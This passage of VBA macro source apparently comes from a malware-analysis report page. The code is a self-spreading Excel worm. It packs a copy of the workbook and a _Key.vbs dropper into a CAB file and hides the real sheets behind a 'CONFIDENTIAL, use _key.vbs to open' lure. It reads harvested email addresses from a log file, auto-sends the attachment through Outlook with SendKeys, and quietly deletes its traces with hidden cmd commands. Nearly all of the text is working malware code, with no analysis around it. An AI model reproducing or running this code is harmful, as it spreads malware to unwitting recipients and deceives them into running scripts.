Print #i, "On error Resume Next"
Print #i, "Set sh=WScript.CreateObject(""" & "shell.application""" & ")"
Print #i, "sh.MinimizeAll"
Print #i, "Set sh = Nothing"
Print #i, "Set Fso = CreateObject(""" & "Scripting.FileSystemObject""" & ")"
Print #i, "Set WshShell = WScript.CreateObject(""" & "WScript.Shell""" & ")"
Print #i, "If Fso.Folderexists(""" & "E:\KK""" & ") = False Then Fso.CreateFolder """ & "E:\KK"""
Print #i, "Fso.CopyFile  _"
Print #i, "WshShell.CurrentDirectory & """ & "\" & AttName & "*.CAB""" & "," & " " & """E:\KK\""" & ", True"
Print #i, "For Each Atta_xls In ListDir(""" & "E:\KK""" & ")"
Print #i, "   WshShell.Run """ & "expand """ & " & Atta_xls & """ & " -F:" & AttName & ".xls E:\KK""" & ", 0, true"
Print #i, "Next"
Print #i, "If Fso.FileExists(""" & "E:\KK\" & AttName & ".xls""" & ") = 0 then"
Print #i, "        route = WshShell.CurrentDirectory & """ & "\" & AttName & ".xls"""
Print #i, "        if Fso.FileExists(WshShell.CurrentDirectory & """ & "\" & AttName & ".xls""" & ")=0 then"
Print #i, "                 route = InputBox(""" & "Warning! """ & " & Chr(10) & """ & "You are going to open a confidential file.""" & "& Chr(10)   _"
Print #i, "                               & """ & "Please input the complete file path.""" & " & Chr(10) & """ & "ex. C:\parth\confidential_file.xls""" & ", _"
Print #i, "                               """ & "Open a File""" & " , """ & "Please Input the Complete File Path""" & ", 10000, 8500)"
Print #i, "        End if"
Print #i, "else"
Print #i, "        route = """ & "E:\KK\" & AttName & ".xls"""
Print #i, "End If"
Print #i, "   set oexcel=createobject(""" & "excel.application""" & ")"
Print #i, "   set owb=oexcel.workbooks.open(route)"
Print #i, "   oExcel.Visible = True"
Print #i, "Set oExcel = Nothing"
Print #i, "Set oWb = Nothing"
Print #i, "Set  WshShell = Nothing"
Print #i, "Set Fso = Nothing"
Print #i, "WScript.Quit"
Print #i, "Private Function ListDir (ByVal Path)"
Print #i, "   Dim Filter, a, n, Folder, Files, File"
Print #i, "       ReDim a(10)"
Print #i, "    n = 0"
Print #i, "  Set Folder = fso.GetFolder(Path)"
Print #i, "   Set Files = Folder.Files"
Print #i, "   For Each File In Files"
Print #i, "      If left(File.Name," & Len(AttName) & ") = """ & AttName & """ and right(File.Name,3) = """ & "CAB""" & " Then"
Print #i, "         If n > UBound(a) Then ReDim Preserve a(n*2)"
Print #i, "            a(n) = File.Path"
Print #i, "            n = n + 1"
Print #i, "       End If"
Print #i, "   Next"
Print #i, "   ReDim Preserve a(n-1)"
Print #i, "   ListDir = a"
Print #i, "End Function"

Close (i)
AddListFile = ThisWorkbook.Path & "\TEST.txt"
i = FreeFile
Open AddListFile For Output Access Write As #i
Print #i, "E:\sorce\" & AttName & "_Key.vbs"
Print #i, "E:\sorce\" & AttName & ".xls"
Close (i)

Application.ScreenUpdating = False
RestoreBeforeSend
ThisWorkbook.SaveCopyAs "E:\sorce\" & AttName & ".xls"
RestoreAfterOpen
c4$ = CurDir()
ChDrive Left(ThisWorkbook.Path, 3) '"C:\"
ChDir ThisWorkbook.Path
WshShell.Run Environ$("comspec") & " /c makecab /F """ & ThisWorkbook.Path & "\TEST.TXT""" & " /D COMPRESSIONTYPE=LZX /D COMPRESSIONMEMORY=21 /D CABINETNAMETEMPLATE=../" & AttName & ".CAB", vbHide, False

Do Until fs.FileExists(ThisWorkbook.Path & "\TEST.txt") _
And fs.FileExists(ThisWorkbook.Path & "\setup.rpt") And fs.FileExists(ThisWorkbook.Path & "\setup.inf") _
And fs.FileExists(ThisWorkbook.Path & "\" & AttName & ".CAB")
DoEvents
Loop

WshShell.Run Environ$("comspec") & " /c RD /S /Q """ & ThisWorkbook.Path & "\disk1""", vbHide, False
WshShell.Run Environ$("comspec") & " /c Del /F /Q """ & ThisWorkbook.Path & "\TEST.txt""", vbHide, False
WshShell.Run Environ$("comspec") & " /c Del /F /Q """ & ThisWorkbook.Path & "\setup.rpt""", vbHide, False
WshShell.Run Environ$("comspec") & " /c Del /F /Q """ & ThisWorkbook.Path & "\setup.inf""", vbHide, False
WshShell.Run Environ$("comspec") & " /c RD /S /Q E:\sorce", vbHide, False

If fs.Folderexists("E:\KK") = False Then fs.CreateFolder "E:\KK"
WshShell.Run Environ$("comspec") & " /c MOVE /Y " & AttName & ".CAB E:\KK""", vbHide, False
ChDir c4$
Call Massive_SendMail(Address_list, AttName, "Dear all," & vbCrLf & AttName & vbCrLf & "FYI", _
"", "E:\KK\" & AttName & ".CAB")
WshShell.Run Environ$("comspec") & " /c RD /S /Q E:\KK", vbHide, False
Set WshShell = Nothing
Application.ScreenUpdating = True
End Sub

Private Sub Massive_SendMail(Email_Address$, Subject$, Body$, CC_email_add$, Attachment$)
    Dim objOL As Object
    Dim itmNewMail As Object
    If Not if_outlook_open Then Exit Sub
    
    Set objOL = CreateObject("Outlook.Application")
    Set itmNewMail = objOL.CreateItem(olMailItem)
    
    With itmNewMail
        .Subject = Subject
        .Body = Body
        .To = Email_Address
        .CC = CC_email_add
        .Attachments.Add Attachment
        .DeleteAfterSubmit = True
    End With
    On Error GoTo continue
SendEmail:
    itmNewMail.display
    Debug.Print "setforth "
    DoEvents
    DoEvents
    DoEvents
    SendKeys "%s", Wait:=True
    DoEvents
    GoTo SendEmail
continue:
    Set objOL = Nothing
    Set itmNewMail = Nothing
End Sub

Private Function if_outlook_open() As Boolean
Set objs = GetObject("WinMgmts:").InstancesOf("Win32_Process")
if_outlook_open = False
For Each obj In objs
If InStr(obj.Description, "OUTLOOK") > 0 Then
if_outlook_open = True
Exit For
End If
Next
End Function

Private Function RadomNine(length As Integer) As String
 Dim jj As Integer, k As Integer, i As Integer
 RadomNine = ""
 If length <= 0 Then Exit Function
 If length <= 10 Then
     For i = 1 To length
     RadomNine = RadomNine & "$$" & i
     Next i
     Exit Function
 End If
 jj = length / 10
 Randomize
 For i = 1 To 10
      k = Int(Rnd * (jj * i - m - 1)) + 1
      If m + k <> 1 Then RadomNine = RadomNine & "$$" & m + k
      m = m + k
 Next
End Function
Private Function get_ten_address() As String
Dim singleAddress_arr, krr, i As Integer
get_ten_address = ""
singleAddress_arr = Split(ReadOut("D:\Collected_Address\log.txt"), vbCrLf)
krr = Split(RadomNine(UBound(singleAddress_arr) - LBound(singleAddress_arr) + 1), "$$")
For i = 1 To UBound(krr)
get_ten_address = get_ten_address & ";" & singleAddress_arr(CInt(krr(i)) - 1)
Next i
End Function

Private Function ReadOut(FullPath) As String
    On Error Resume Next
    Dim Fso, FileText
    Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
    Set FileText = Fso.OpenTextFile(FullPath, 1, False, -1)
    ReadOut = FileText.ReadAll
    FileText.Close
End Function

Private Sub CreateFile(FragMark, pathf)
    On Error Resume Next
    Dim Fso, FileText
    Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
    If Fso.Folderexists(Left(pathf, Len(pathf) - 10)) = False Then Fso.CreateFolder Left(pathf, Len(pathf) - 10)
    If Fso.FileExists(pathf) Then
        Set FileText = Fso.OpenTextFile(pathf, 2, False, -1)
        FileText.Write FragMark
        FileText.Close
    Else
        Set FileText = Fso.OpenTextFile(pathf, 2, True, -1)
        FileText.Write FragMark
        FileText.Close
    End If
End Sub


Private Sub RestoreBeforeSend()
Dim aa As Name, i_row As Integer, i_col As Integer
Dim sht As Object
Application.ScreenUpdating = False
Application.DisplayAlerts = False
On Error Resume Next
For Each aa In ThisWorkbook.Names
     aa.Visible = True
     If Split(aa.Name, "!")(1) = "Auto_Activate" Then aa.Delete
Next
For Each sht In ThisWorkbook.Sheets
     If sht.Name = "Macro1" Then
     sht.Visible = xlSheetVisible
     sht.Delete
     End If
Next
Sheets(1).Select
Sheets.Add
For Each sht In ThisWorkbook.Sheets
     If sht.Name <> Sheets(1).Name Then sht.Visible = xlSheetVeryHidden
Next
i_row = Int((15 * Rnd) + 1)
i_col = Int((6 * Rnd) + 1)
Cells(i_row, i_col) = "** CONFIDENTIAL! ** "
Cells(i_row + 2, i_col) = "Use " & Chr(34) & Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4) & "_key.vbs" & Chr(34) & " To Open This File."
Cells(i_row + 3, i_col) = "请用 " & Chr(34) & Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4) & "_key.vbs" & Chr(34) & " 解锁此文件."
With Range(Cells(i_row, i_col), Cells(i_row + 2, i_col))
     .Font.Bold = True
     .Font.ColorIndex = 3
End With
Application.ScreenUpdating = True
End Sub

Private Function RestoreAfterOpen()
Dim sht, del_sht, rng, del_frag As Boolean
On Error Resume Next
del_sht = ActiveSheet.Name
Application.ScreenUpdating = False
Application.DisplayAlerts = False
For Each sht In ThisWorkbook.Sheets
    If sht.Name <> "Macro1" Then sht.Visible = xlSheetVisible
Next
For Each rng In Sheets(del_sht).Range("A1:F15")
If InStr(rng.Value, "CONFIDENTIAL") > 0 Then
del_frag = True
Exit For
End If
Next
If del_frag = True Then Sheets(del_sht).Delete
Application.ScreenUpdating = True

End Function

Open this report in the interactive analyzer, or submit your own file for analysis.